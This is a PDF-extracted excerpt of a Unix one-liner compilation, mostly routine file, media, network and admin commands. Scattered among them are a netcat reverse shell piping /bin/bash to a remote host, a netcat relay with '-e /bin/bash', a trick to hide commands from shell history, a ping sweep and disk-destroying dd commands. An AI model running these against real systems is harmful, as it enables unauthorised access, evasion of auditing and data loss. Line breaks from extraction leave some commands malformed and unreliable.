(ulimit -v 1000000; scriptname)
# resume other user's screen session via su, without pty error
# su - <user> ; script /dev/null ; screen -r
# Convert IP octets to HEX with no dots.
myhex=$(printf '%02X' ${myip//./ };)
# Write on the console without being registered
history -d $((HISTCMD-1)) && command_to_run
# Throttle download speed (at speed x )
axel --max-speed=x
# Get names of files in /dev, a USB device is attached to
ls -la /dev/disk/by-id/usb-*

188 / 658

All UNIX COMMANDS


# Screencast with ffmpeg x11grab
ffmpeg -f alsa -ac 2 -i hw:0,0 -f x11grab -r 30 -s $(xwininfo -root | grep 'geometry' | awk
'{print $2;}') -i :0.0 -acodec pcm_s16le -vcodec libx264 -vpre lossless_ultrafast -threads 0
-y output.mkv
# copy ACL of one file to another using getfacl and setfacl
getfacl file1 | setfacl --set-file=- file2
# Recursively grep thorugh directory for string in file.
grep -rni string dir
# Convert a single-page PDF to a hi-res PNG, at 300dpi
convert -density 300x300 input.pdf output.png
# finding more large files
find / -xdev -size +1024 -exec ls -al {} \; | sort -r -k 5
# rgrep: recursive grep without .svn
alias rgrep="find . \( ! -name .svn -o -prune \) -type f -print0 | xargs -0 grep"
# Go get those photos from a Picasa album
wget 'link of a Picasa WebAlbum' -O - |perl -e'while(<>){while(s/"media":{"content":\
[{"url":"(.+?\.JPG)//){print "$1\n"}}' |wget -w1 -i # Reverse a file
tac -r -s "." FILENAME
# Give all those pictures the same name format, trailing zeros please for the right order,
offset to merge different collections of pictures
OFFS=30;LZ=6;FF=$(printf %%0%dd $LZ);for F in *.jpg;do NF="${F%.jpg}";NF="${NF/#+(0)/}";NF=$
[NF+OFFS];NF="$(printf $FF $NF)".jpg;if [ "$F" != "$NF" ];then mv -iv "$F" "$NF";fi;done
# Get your external IP address ( 10 characters long )
curl ip.nu
# List mp3 files with less than 320 kbps bitrate.
find -name '*.mp3' -exec mp3info {} -p "%F: %r kbps\n" \;

| sort | sed '/320 kbps/d'

# Root shell
sudo -i
# check the filesystem and use
e2fsck -C -v /dev/device

a progress bar

# faster version of ls *
echo *
# vi a new file with execution mode
vix(){ vim +'w | set ar | silent exe "!chmod +x %" | redraw!' $@; }
# Move all files between to date
sudo find . -maxdepth 1 -cnewer olderFilesNameToMove -and ! -cnewer newerFileNameToMove
-exec mv -v {} /newDirectory/ \;
# Mutt - Change mail sender.
export EMAIL=caiogore@domain.com && mutt -s "chave webmail" destination@domain.com <
/dev/null

189 / 658

All UNIX COMMANDS


# Geolocate a given IP address
curl ipinfo.io/<ipaddress>
# List folders containing only PNGs
find . -name '*png' -printf '%h\0' | xargs -0 ls -l --hide=*.png | grep -ZB1 ' 0$'
# Random unsigned integer
od -N 4 -t uL -An /dev/random | tr -d " "
# Sort output by column
ps aux | sort -nk 6
# Protect your eye
redshiftgui -o -b 0.5
# Find the fastest server to disable comcast's DNS hijacking
sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[09]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
# Generate random valid mac addresses
for i in {1..6}; do printf "%0.2X:" $[ $RANDOM % 0x100 ]; done | sed 's/:$/\n/'
# Empty Bind9 cache
rndc flush

# find out which directories in /home have the most files currently open
lsof |awk ' {if ( $0 ~ /home/) print substr($0, index($0,"/home") ) }'|cut -d / -f 1-4|sort|
uniq -c|sort -bgr
# My Git Tree Command!
git log --graph --oneline --all
# Convert clipboard HTML content to markdown (for github, trello, etc)
xclip -selection clipboard -o -t text/html | pandoc -f html -t markdown_github # Ping sweep without NMAP
for i in `seq 1 255`; do ping -c 1 10.10.10.$i | tr \\n ' ' | awk '/1 received/ {print $2}';
done
# Make alias pemanent fast
PERMA () { echo "$@" >> ~/.bashrc; }
# dd with progress bar and statistics to gzipped image
export BLOCKSIZE='sudo blockdev --getsize64 /dev/sdc' && sudo dd if=/dev/sdc bs=1MB | pv -s
$BLOCKSIZE | gzip -9 > USB_SD_BACKUP.img.gz
# Output files without comments or empty lines
grep -v "^\($\|#\)" <filenames>
# Show what PID is listening on port 80 on Linux
netstat -alnp | grep ::80
# commandline dictionary
wn wonder -over
# lazy SQL QUERYING
psql

190 / 658

All UNIX COMMANDS


# Dock Thunderbird in system tray and hide main window
alltray -H thunderbird
# Sort files in multiple directories by date
find . -type f -exec ls -l --full-time {} + | sort -k 6,7
# list the top 15 folders by decreasing size in MB
du -xB M --max-depth=2 /var | sort -rn | head -n 15
# Find partition name using mount point
lsblk | grep <mountpoint>
# show current directory
xdg-open .
# Show last changed files in a directory
ls -t | head
# Advanced ls using find to show much more detail than ls ever could
alias LS='find -mount -maxdepth 1 -printf "%.5m %10M %#9u:%-9g %#5U:%-5G %TF_%TR %CF_%CR
%AF_%AR %#15s [%Y] %p\n" 2>/dev/null'
# Make changes in any profile available immediately/Change to default group
newgrp # Display EPOCH time in human readable format using AWK.
$ date --date='@1268727836'
# Search for files older than 30 days in a directory and list only their names not the full
path
find /var/www/html/ -type f -mtime +30 -exec basename {} \;
# Securely destroy data on given device
# for i in $(seq 1 25); do dd if=/dev/urandom of=<your disk> bs=1M ; done
# Export MS Access mdb files to csv
mdb-export -H -I -R database.mdb table >table.sql
# Fix VirtualBox error
sudo usermod -a -G vboxusers <username>
# last.fm rss parser
awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" }
/<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
# Erase a word
<ALT> <BACKSPACE>
# Download and extract a *tar.gz file with curl.
curl http://domain.com/file.tar.gz | tar zx
# Counts number of lines (in source code excluding comments)
find . -name '*.java' | xargs -L 1 cpp -fpreprocessed | grep . | wc -l
# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.log | perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e'
# remove *.jpg smaller than 500x500
identify -format '%w %h %f\n' *.jpg | awk 'NF==3&&$1<500&&$2<500{print $3}' | xargs -r rm

191 / 658

All UNIX COMMANDS


# Check executable shared library usage
ldd <executable binary>
# Route outbound SMTP connections through a addtional IP address rather than your primary
iptables -t nat -A POSTROUTING -p tcp --dport 25 -j SNAT --to-source IP_TO_ROUTE_THROUGH
# pass the output of some command to a new email in the default email client
somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
# Print a list of installed Perl modules
perl -MFile::Find=find -MFile::Spec::Functions -Tlwe 'find { wanted => sub { print canonpath
$_ if /\.pm\z/ }, no_chdir => 1 }, @INC'
# unpack all rars in current folder
unrar e *.rar
# View all images
find -iname '*.jpg' -print0 | xargs -0 feh -d
# Recursively move folders/files and preserve their permissions and ownership perfectly
cd /source/directory; tar cf - . | tar xf - -C /destination/directory
# Search through files, ignoring .svn
grep <pattern> -R . --exclude-dir='.svn'
# Block all IP addresses and domains that have attempted brute force SSH login to computer
/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
# Download a file securely via a remote SSH server
file=ftp://ftp.gimp.org/pub/gimp/v2.6/gimp-2.6.10.tar.bz2; ssh server "wget $file -O -" >
$PWD/${file##*/}
# Quick and dirty RSS
curl --silent "FEED ADDRESS" |sed -e 's/<\/[^>]*>/\n/g' -e 's/<[^>]*>//g
# Get a range of SVN revisions from svn diff and tar gz them
tar cvfz changes.tar.gz --exclude-vcs `svn diff -rM:N --summarize . | grep . | awk '{print
$2}' | grep -E -v '^\.$'`
# Change the default editor for modifying the sudoers list.
sudo update-alternatives --config editor
# Report full partitions from a cron
df -l | grep -e "9.%" -e "100%"
# Detach a process from the current shell
nohup ping -i1 www.google.com &
# Execute MySQL query send results from stdout to CSV
mysql -umysqlusername -pmysqlpass databsename -B -e "select * from \`tabalename\`;" | sed
's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > mysql_exported_table.csv
# Get the current svn branch/tag (Good for PS1/PROMPT_COMMAND cases)
svn info | grep '^URL:' | egrep -o '(tags|branches)/[^/]+|trunk' | egrep -o '[^/]+$'
# Insert
<ALT> .

the

last

argument

of

the previous command

# Find the annual salary of any White House staffer.

192 / 658

All UNIX COMMANDS


curl -s "http://www.socrata.com/api/views/vedg-c5sb/rows.json?search=Axelrod" | grep "data\"
:" | awk '{ print $17 }'
# Get the header of a website
curl -sI http://blog.binfalse.de
# find established tcp connections without using netstat!!
lsof -i -n | grep ESTABLISHED

# Better recursive grep with pretty colors... requires ruby and gems (run: "gem install
rak")
rak "what you're searching for" dir/path
# diff files while disregarding indentation and trailing white space
diff <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;' file1) <(perl -wpl -e '$_ =~ s/^\s+|\s+$//g ;'
file2)
# Yet Another Rename (bash function)
rename(){ txtToReplace=${1} ; replacementTxt=${2} ; shift 2 ; files=${@} ; for file in
$files ; do mv ${file} ${file/${txtToReplace}/${replacementTxt}} ; done ; }
# Sort IP addresses
sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 /file/of/ip/addresses
# A DESTRUCTIVE command to render a drive unbootable
dd if=/dev/zero of=/dev/fd0 bs=512 count=1
# run command on a group of nodes in parallel
seq 1 5 | parallel ssh {}.cluster.net uptime
# parse html/stdin with lynx
alias html2ascii='lynx -force_html -stdin -dump -nolist'
# Shows size of dirs and files, hidden or not, sorted.
du --max-depth=1 -h * |sort -n -k 1 |egrep 'M|G'
# find text in a file
find /directory/to/search/ -type f -print0 | xargs -0 grep "findtext"
# Convert AVI to iPhone MP4
ffmpeg -i [source].avi -f mp4 -vcodec mpeg4 -b 250000 -s 480?320 -acodec aac -ar 24000 -ab
64 -ac 2 [destination].mp4
# convert pdf into multiple png files
gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
# Stat each file in a directory
find . -maxdepth 1 -type f | xargs stat
# Find files and list them sorted by modification time
find -type f -print0 | xargs -r0 stat -c %y\ %n | sort
# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R $(dig +short host.domain.tld)
# List of all vim features
vim --version | grep -P '^(\+|\-)' | sed 's/\s/\n/g' | grep -Pv '^ ?$'

193 / 658

All UNIX COMMANDS


# Convert .flv to .avi
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
# Remove last line from files recursively
find . -name "*.php" -type f -exec sed -i "\$d" '{}' \;
# Convert spaces in file names to underscores
rename 'y/ /_/' *
# Batch rename extension of all files in a folder, in the example from .txt to .md
for f in *.txt; do mv $f `basename $f .txt`.md; done;
# This is N5 sorta like rot13 but with numbers only
echo "$1" | xxd -p | tr '0-9' '5-90-6'; echo "$1" | tr '0-9' '5-90-6' | xxd -r -p
# Get Nyan'd
telnet miku.acm.uiuc.edu
# Leap year calculation
leapyear() { [ $(date -d "Dec 31, $1" +%j) == 366 ] && echo leap || echo not leap; }
# git pull all repos
find ~ -maxdepth 2 -name .git -print | while read repo; do cd $(dirname $repo); git pull;
done
# Get info about a GitHub user
curl http://github.com/api/v1/yaml/git
# sendEmail - easiest commandline way to send e-mail
sendEmail -f anything@anithing.com -u subject of nessage -t youfriend@hisdomain -m message
to him

# Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the
backup
nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh
<user@host> "cat > backup.img"
# find out how much space are occuipied by files smaller than 1024K (sic) - improved
find dir -size -1024k -type f -print0 | du --files0-from - -bc
# Find Duplicate Files, excluding .svn-directories (based on size first, then MD5 hash)
find -type d -name ".svn" -prune -o -not -empty -type f -printf "%s\n" | sort -rn | uniq -d
| xargs -I{} -n1 find -type d -name ".svn" -prune -o -type f -size {}c -print0 | xargs -0
md5sum | sort | uniq -w32 --all-repeated=separate
# Get info about a GitHub project
curl http://github.com/api/v1/yaml/search/vim
# Reconstruct standard permissions for directories and files in current directory
chmod -R u=rwX,g=rX,o=rX .
# Server load and process monitoring
watch -n1 "uptime && ps auxw|grep http|grep -v grep | grep -v watch|wc -l && netstat -ntup|
grep :80 |grep ESTABLISHED|wc -l && netstat -ntup|grep :80|grep WAIT|wc -l && free -mo && ps
-ylC httpd --sort:rss|tail -3|awk '{print \$8}'"
# Count number of files in a directory
ls|wc -l

194 / 658

All UNIX COMMANDS


# Display or use a random file from current directory via a small bash one-liner
$ i=(*);echo ${i[RANDOM%(${#i[@]}+1)]]}
# Merge various PDF files
pdftk first.pdf second.pdf cat output output.pdf
# To find the count of each open file on a system (that supports losf)
sudo lsof | awk '{printf("%s %s %s\n", $1, $3, $NF)}' | grep -v "(" | sort -k 4 | gawk
'$NF==prv{ct++;next} {printf("%d %s\n",ct,$0);ct=1;prv=$NF}' | uniq | sort -nr
# add all files not under version control to repository
svn add . --force
# Recursively execute command on directories (.svn, permissions, etc)
find . -type d -name .svn -exec chmod g+s "{}" \;
# Get current Xorg resolution via xrandr
xrandr | grep \* | cut -d' ' -f4
# Quick HTML image gallery
find . -iname '*.jpg' | sed 's/.*/<img src="&">/' > gallery.html
# Suspend to ram
sudo pm-suspend
# execute a shell with netcat without -e
mkfifo pipe && nc remote_server 1337 <pipe | /bin/bash &>pipe
# Search commandlinefu.com and display with VIMs syntax highlighting!
cmdfu(){ local TCF="/var/tmp/cmdfu"; echo " Searching..."; curl
"http://www.commandlinefu.com/commands/matching/$(echo "$@" | sed 's/ /-/g')/$(echo -n $@ |
base64)/plaintext" --silent > "$TCF"; vim -c "set filetype=sh" -RM "$TCF"; rm "$TCF"; }
# Count lines of code across multiple file types, sorted by least amount of code to greatest
find . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} \; | sort
# resolve short urls
resolve(){ curl -Is $1 | egrep "Location" | sed "s/Location: \(.*\)/\1/g"; }
# Test your total disk IO capacity, regardless of caching, to find out how fast the TRUE
speed of your disks are
time (dd if=/dev/zero of=blah.out bs=256M count=1 ; sync )
# Debug a remote php application (behind firewall) using ssh tunnel for XDEBUG port 9000
ssh -R 9000:localhost:9000 you@remote-php-web-server.com
# List top 10 files in filesystem or mount point bigger than 200MB
find /myfs -size +209715200c -exec du -m {} \; |sort -nr |head -10
# archlinux:Delete packages from pacman cache that are older than 7 days
find /var/cache/apt -not -mtime -7 | sudo xargs rm
# Synchronize date and time with a server over ssh
date --set="$(ssh user@server 'date -u')"
# A command's package details
dpkg -S `which nm` | cut -d':' -f1 | (read PACKAGE; echo "[${PACKAGE}]"; dpkg -s "$
{PACKAGE}"; dpkg -L "${PACKAGE}") | less

195 / 658

All UNIX COMMANDS


# move contents of the current directory to the parent directory, then remove current
directory.
mv * .[0-9a-Z]* ../; cd ..; rm -r $OLDPWD
# remove hostname from known_hosts
ssh-keygen -R hostname
# Output the content of your Active Directory in a CSV file
csvde -f test.csv
# grep lines containing two consecutive hyphens
grep -- -- file
# a function to create a box of '=' characters around a given string.
box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
# MSDOS command to check existance of command and exit batch if failed
<command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or check PATH
variable! & pause & exit )
# Phrack 66 is out, but the .tar.gz is not there yet on phrack.org's website
mkdir phrack66; (cd phrack66; for n in {1..17} ; do echo "http://www.phrack.org/issues.html?
issue=66&id=$n&mode=txt" ; done | xargs wget)
# Check if a web page has changed last time checked.
HTMLTEXT=$( curl -s http://www.page.de/test.html > /tmp/new.html ; diff /tmp/new.html
/tmp/old.html ); if [ "x$HTMLTEXT" != x ] ; then echo $HTMLTEXT | mail -s "Page has
changed." mail@mail.de ; fi ; mv /tmp/new.html /tmp/old.html
# List files with full path
ls | sed s#^#$(pwd)/#
# Grab just the title of a youtube video
url="[Youtube URL]"; echo $(curl ${url%&*} 2>&1 | grep -iA2 '<title>' | grep '-') | sed
's/^- //'
# Replaces a color in a PDF document, useful for removing a dark background before printing.
convert -density 300 input.pdf -fill "rgb(255,255,255)" -opaque "rgb(0,0,0)" output.pdf
# Download all images from a 4chan thread
function 4get () { curl $1 | grep -i "File<a href" | awk -F '<a href="' '{print $4}' | awk
-F '" ' '{print $1}' | xargs wget }
# Number of files in a SVN Repository
svn info -R --xml file:///path/to/rep | grep kind=\"file\"|wc -l
# add files to existing growable DVD using growisofs
growisofs -M /dev/dvd -J -r "directory name with files to add to DVD"
# Compare two directory trees.
diff <(cd dir1 && find . | sort) <(cd dir2 && find . | sort)
# Kill any lingering ssh processes
for i in `ps aux | grep ssh | grep -v grep | awk {'print $2'}` ; do kill $i; done
# Remove old unused kernels from Red Hat Enterprise Linux 5 & Fedora 12/13
/usr/bin/package-cleanup --oldkernels --count=3

196 / 658

All UNIX COMMANDS


# command line to optimize all table from a mysql database
mysql -u uname dbname -e "show tables" | grep -v Tables_in | grep -v "+" | gawk '{print
"optimize table " $1 ";"}' | mysql -u uname dbname
# cat stdout of multiple commands
cat <( command1 arg arg ) <( command2 arg ) ...
# Find common lines between two files
comm -12 FILE1.sorted FILE2.sorted > common
# How to search for files and open all of them in tabbed vim editor.
sudo find / -type f -name config.inc.php -exec vim -p {} +
# Unaccent an entire directory tree with files.
find /dir | awk '{print length, $0}' | sort -nr | sed 's/^[[:digit:]]* //' | while read
dirfile; do outfile="$(echo "$(basename "$dirfile")" | unaccent UTF-8)"; mv "$dirfile" "$
(dirname "$dirfile")/$outfile"; done
# HTML5 ogg player
echo '<html><body><table>' > /tmp/bar.html && find / -name '*.ogg' | sort | awk '{print
"<tr><td>"$1"</td><td><audio src=\""$1"\" controls='controls'></audio></td></tr>" }' >>
/tmp/bar.html && echo '</table></body></html>' >> /tmp/bar.html
# Copy the currently playing song in MPD to somewhere else
cp "/var/lib/mpd/music/`mpc --format '%file%' | head -n1`" /some/where/else
# Split and join with split and cat.
split -b 1k file ; cat x* > file

# Recursively Add Changed Files to Subversion


svn status | grep "^\?" | awk '{print $2}' | xargs svn add
# online MAC address lookup
curl -s http://www.macvendorlookup.com/getoui.php?mac=$1 | sed -e 's/<[^>]\+>//g'; echo
# Automatically find and re-attach to a detached screen session
screen -RR
# Scroll up (or Down (PgDn)) in any terminal session (except KDE)
Shift + PgUp
# Remove security limitations from PDF documents using QPDF
qpdf --decrypt inputfile.pdf outputfile.pdf
# re-assign line numbers
perl -pe 's/\d+/++$n/e' file.txt
# pipe output to notify-send
echo 'Desktop SPAM!!!' | while read SPAM_OUT; do notify-send "$SPAM_OUT"; done
# Execute a command at a given time
at midnight<<<'ls -l'
# Find out current working directory of a process
readlink /proc/self/cwd
# Sort contents of a directory with human readable output
du -hs * | sort -h

197 / 658

All UNIX COMMANDS


# Get fully qualified domain names (FQDNs) for IP address with failure and multiple
detection
NAME=$(nslookup $IP | sed -n 's/.*arpa.*name = \(.*\)/\1/p'); test -z "$NAME" &&
NAME="NO_NAME"; echo "$NAME"
# Get a list of all your VirtualBox virtual machines by name and UUID from the shell
VBoxManage list vms
# resume scp-filetransfer with rsync
rsync --partial --progress --rsh=ssh user@host:remote-file local-file
# make sure you don't add large file to your repository
svn status | awk '{print $2}' | xargs du | sort -n | tail
# Creates a proxy based on tsocks.
alias tproxy='ssh -ND 8118 user@server&; export LD_PRELOAD="/usr/lib/libtsocks.so"'
# List contents of tar archive within a compressed 7zip archive
7z x -so testfile.tar.7z | tar tvf # Grab IP address on machine with multiple interfaces
ip route get 8.8.8.8 2>/dev/null|grep -Eo 'src [0-9.]+'|grep -Eo '[0-9.]+'
# Copy the text from the 3rd line to the 9th line into a new file with VI
:3,9w new_file
# output the contents of a file removing any empty lines including lines which contain only
spaces or tabs.
sed -e '/^[<space><tab>]*$/d' somefile
# An alternative to: python -m SimpleHTTPServer for Arch Linux
python3 -m http.server
# convert hex to decimal ; decimal to hex
echo 16i `echo "F" | tr '[a-f]' '[A-F]'` p | dc ; echo 16o "15" p | dc
# Convert PDF to JPEG using Ghostscript
gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
# Separates each frame of a animated gif file to a counted file, then appends the frames
together into one sheet file. Useful for making sprite sheets for games.
convert +adjoin animatedImage.gif test.gif ; convert +append test*.gif
# Compress logs older than 7 days
find /path/to/files -type f -mtime +7 | grep -v \.gz | xargs gzip
# convert strings toupper/tolower with tr
echo "aBcDeFgH123" | tr a-z A-Z

# online MAC address lookup


curl -s http://standards.ieee.org/regauth/oui/oui.txt | grep $1
# Check (partial) runtime-dependencies of Gentoo ebuilds
qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u
| qfile --from # Print permanent subtitles on a video (international edition :) )

198 / 658

All UNIX COMMANDS


transcode -i myvideo.avi -x mplayer="-utf8 -sub myvideo.srt" -o myvideo_subtitled.avi -y
xvid
# Duplicating service runlevel configurations from one server to another.
chkconfig --list | fgrep :on | sed -e 's/\(^.*\)*0:off/\1:/g' -e 's/\(.\):on/\1/g' -e
's/.:off//g' | tr -d [:blank:] | awk -F: '{print$2,$1}' | ssh host 'cat > foo'
# From Vim, run current buffer in python
! python %
# Prints a file leaving out all blank lines and comment-only lines
egrep -v "^\s*(#|$)" myfile.cfg
# Remove the first character of each line in a file
cut -c 2- < <file>
# get a fresh commandlinefu-item each day as motd
0 0 * * * curl http://www.commandlinefu.com/commands/random/plaintext -o /etc/motd -s -L
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1 | sed '2d;s/^0\+ //;s/ /:/g'
# Keep one instance of an irc chat client in a screen session
alias irc="screen -D -R -S chatclient irssi"
# extract all urls from firefox sessionstore
sed -e "s/\[{/\n/g" -e "s/}, {/\n/g" sessionstore.js | grep url | awk -F"," '{ print $1 }'|
sed -e "s/url:\"\([^\"]*\)\"/\1/g" -e "/^about:blank/d" > session_urls.txt
# convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'
# defragment files
find ~ -maxdepth 20 -type f -size -16M -print > t; for ((i=$(wc -l < t); i>0; i--)) do a=$
(sed -n ${i}p < t); mv "$a" /dev/shm/d; mv /dev/shm/d "$a"; echo $i; done; echo DONE; rm t
# List the libraries used by an application
ldd /bin/bash | awk 'BEGIN{ORS=","}$1~/^\//{print $1}$3~/^\//{print $3}' | sed 's/,$/\n/'
# View all new log messages in real time with color
find /var/log -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0
-f | ccze -A
# Running a command at a specific time
echo "notify-send TimeToQuit" | at 10:22
# show the date every rpm was installed
rpm -qa --last
# create an screenshot, upload it to your server via scp and then open that screenshot in
firefox
FILE="`date +%m%d%H%M%S`.png"; URL="http://YOUR_HOST/YOUR/PATH/$FILE"; TMP="/tmp/$FILE";
import -frame $TMP; scp $TMP YOUR-USER@YOUR-HOST:/YOUR/PATH/; rm $TMP; firefox "$URL"
# Force an fsck on reboot
shutdown -rF now
# Give {Open,True}Type files reasonable names

199 / 658

All UNIX COMMANDS


shopt -s extglob; for f in *.ttf *.TTF; do g=$(showttf "$f" 2>/dev/null | grep -A1
"language=0.*FullName" | tail -1 | rev | cut -f1 | rev); g=${g##+( )}; mv -i "$f" "$g".ttf;
done
# Decode base64-encoded file in one line of Perl
perl -MMIME::Base64 -ne 'print decode_base64($_)' < file.txt > out
# Get information about memory modules
dmidecode --type memory
# Delicious search with human readable output
filterous -dntb --tag Bash < bookmarks.xml
# Decode base64-encoded file in one line of Perl
openssl base64 -d < file.txt > out
# Watch memcache traffic
sudo tcpdump -i eth0 -s 65535 -A -ttt port 11211

# sleep until X o'clock


sleep $((3600 - ($(date +%s) % 3600) ))
# Netcat Relay
nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;##
$IamTargetHost 1234 -e /bin/bash;

nc -l

# u can hear all .ogg files with vlc that thier link are in url
lynx -dump -listonly 'url' | grep -oe 'http://.*\.ogg' > 11 ; vlc 11 ; mv 11 /dev/null
# top svn committers (without awk)
svn log -q | grep '^r[0-9]' | cut -f2 -d "|" | sort | uniq -c | sort -nr
# Averaging columns of numbers
awk '{sum1+=$1; sum2+=$2} END {print sum1/NR, sum2/NR}' file.dat
# Lists installed kernels
dpkg --get-selections | grep linux-image
# Validating a file with checksum
md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") # Say something out loud
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=$(echo "$@" | sed 's/ /
+/g')" | play -t mp3 # Run bash on top of a vi session (saved or not saved), run multiple commands, instead of
one at a time with :!(bashcommand), type exit and [enter] to get back to where you left off
in vi.
:!bash
# Set file access control lists
setfacl -m u:john:r-- myfile
# Generate SHA1 hash for each file in a list
find . -type f -exec sha1sum {} >> SHA1SUMS \;
# Grab an interface's IP from ifconfig without screen clutter
ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g

200 / 658

All UNIX COMMANDS


# Most used command
history | awk '{a[$'$(echo "1 2 $HISTTIMEFORMAT" | wc -w)']++}END{for(i in a){print a[i] " "
i}}' | sort -rn | head
# journalctl -f
journalctl -f
# Quick plotting of a function
seq 0 0.1 20 | awk '{print $1, cos(0.5*$1)*sin(5*$1)}' | graph -T X
# Poor man's unsort (randomize lines)
while read l; do echo -e "$RANDOM\t$l"; done | sort -n | cut -f 2
# Compare / diff two images
convert image1 image2 -resize '400x300!' MIFF:- | compare -metric AE -fuzz '10%' - null:
# Function to remove a directory from your PATH
pathrm() { PATH=`echo $PATH | sed -e "s=^${1}:==;s=:${1}$==;s=:${1}:=:="`; }
# Working random fact generator
wget randomfunfacts.com -O - 2>/dev/null | grep \<strong\> | sed "s;^.*<i>\(.*\)</i>.*$;\1;"
| while read FUNFACT; do notify-send -t $((1000+300*`echo -n $FUNFACT | wc -w`)) -i gtkdialog-info "RandomFunFact" "$FUNFACT"; done
# Shows users and 'virtual users' on your a unix-type system
ps -eo user | sort -u
# Use the builtin ':' bash command to increment variables
[ $V ] || : $((V++)) && echo $V
# Show a line when a "column" matchs
awk '{ FS = OFS = "#" } { if ($9==1234) print }' filename*.log > bigfile.log
# Sort files by date
ls -lrt
# Remove newlines from output
cat filename | grep .
# Copy without overwriting
yes n | cp -p -i -r <src> <dest>

# Get NFL/MLB Scores/Time


w3m -no-cookie http://m.espn.go.com/nfl/scoreboard?|sed 's/ Final/ : Final/g'|sed 's/ F\// :
F\//g'|sed 's/, / : /g'|grep -i ':'
# Backup a file with a date-time stamp
buf () { cp $1{,$(date +%Y%m%d_%H%M%S)}; }
# List your largest installed packages (on Debian/Ubuntu)
awk '{if ($1 ~ /Package/) p = $2; if ($1 ~ /Installed/) printf("%9d %s\n", $2, p)}'
/var/lib/dpkg/status | sort -n | tail
# Better git diff, word delimited and colorized
git diff -U10 |wdiff --diff-input -a -n -w $'\e[1;91m' -x $'\e[0m' -y $'\e[1;94m' -z
$'\e[0m' |less -R

201 / 658

All UNIX COMMANDS


# keep an eye on system load changes
watch -n 7 -d 'uptime | sed s/.*users,//'
# Download a numbered sequence of files
curl --silent -O "http://www.somewebsite.com/imagedir/image_[00-99].jpg"
# Summarise the size of all files matching a simple regex
find /path/to/my/files/ -type f -name "*txt*" | xargs du -k | awk 'BEGIN{x=0}{x=x+
$1}END{print x}'
# Lists unambigously names of all xml elements used in files in current directory
grep -h -o '<[^/!?][^ >]*' * | sort -u | cut -c2# Colorful man
/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist
nospell nonu
# Update all ant packages installed in gentoo
emerge -q1 $(eix -C dev-java -I --upgrade+ --only-names ant)
# Make a directory named with the current date
mkdir `date --iso`
# Create multiple mp4 files using avidemux
for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo
"$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
# mysql DB size
mysql -u root -pPasswort -e 'select
table_schema,round(sum(data_length+index_length)/1024/1024,4) from information_schema.tables
group by table_schema;'
# Capture data in ASCII. 1500 bytes
tcpdump -ieth0 -n tcp port 80 -A -s1500
# Find all files under a certain directory /home that have a certain suffix at the end of
the file name. Show the file and rename them to remove the suffix.
find /home -print -exec rename -v 's/_2009-09-04.suffix$//' {} \;
# [WinXP]Use as a shortcut in the SendTo menu to open a cmd window for a given folder.
C:\WINDOWS\system32\cmd.exe /t:0A /k cd /d
# Update program providing java on Debian
update-java-alternatives
# Debian: Mark all dependent packages as manualy installed.
sudo aptitude unmarkauto $(apt-cache depends some-deb-meta-package-name | grep Depends | cut
-d: -f2)
# show rpm packages scriptlets
rpm -qp --scripts package.rpm
# Remove annoying OS X DS_Store folders
find . -name .DS_Store -exec rm {} \;
# convert plain .avi movies to .mpeg
ffmpeg -i movie.avi -y -f vcd -vcodec mpeg1video -map 0.0:0.0 -b 1150 -s 352x240 -r 29.97 -g
12 -qmin 3 -qmax 13 -acodec mp2 -ab 224 -ar 44100 -ac 2 -map 0.1:0.1 movie.mpg

202 / 658

All UNIX COMMANDS


# Recursive cat - concatenate files (filtered by extension) across multiple subdirectories
into one file
find . -type f -name *.ext -exec cat {} > file.txt \;
# Monitor the queries being run by MySQL
mytop
# get absolute file path
readlink -f myfile.txt
# Generate a Change Log with git
git log --no-merges --format="%an: %s" v1..v2

# Parse YouTube url (get youtube video id)


sh -c 'url="http://youtu.be/MejbOFk7H6c"; vid="`for i in ".*youtu\.be/\([^\/&?#]\+\)"
".*youtu.\+v[=/]\([^\/&?#]\+\)" ".*youtu.\+embed/\([^\/&?#]\+\)"; do expr "${url}" : "${i}";
done`"; if [ -n "${vid}" ]; then echo ${vid}; else echo "${url}"; fi'
# split a string (3)
OLD_IFS="$IFS"; IFS=: ARRAY=($PATH); echo ${ARRAY[2]}; IFS="$OLD_IFS"
# sort monthwise
sort -M filename
# Oneliner to run commands on multiple servers
